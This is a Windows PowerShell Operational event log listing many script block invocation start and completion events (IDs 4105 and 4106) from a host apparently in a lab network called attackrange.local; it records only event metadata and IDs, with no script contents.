TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032776
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032775
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032774
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032773
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032772
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032771
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032770
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032769
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032768
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032767
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032766
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032765
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032764
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032763
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032762
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032761
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032760
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032759
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032758
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032757
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032756
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032755
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032754
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032753
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032752
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032751
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032750
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032749
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032748
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032747
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032746
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032745
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032744
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032743
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032742
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032741
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032740
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032739
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032738
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032737
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032736
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032735
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032734
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032733
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032732
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032731
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032730
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032729
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032728
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032727
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032726
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032725
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032724
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032723
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
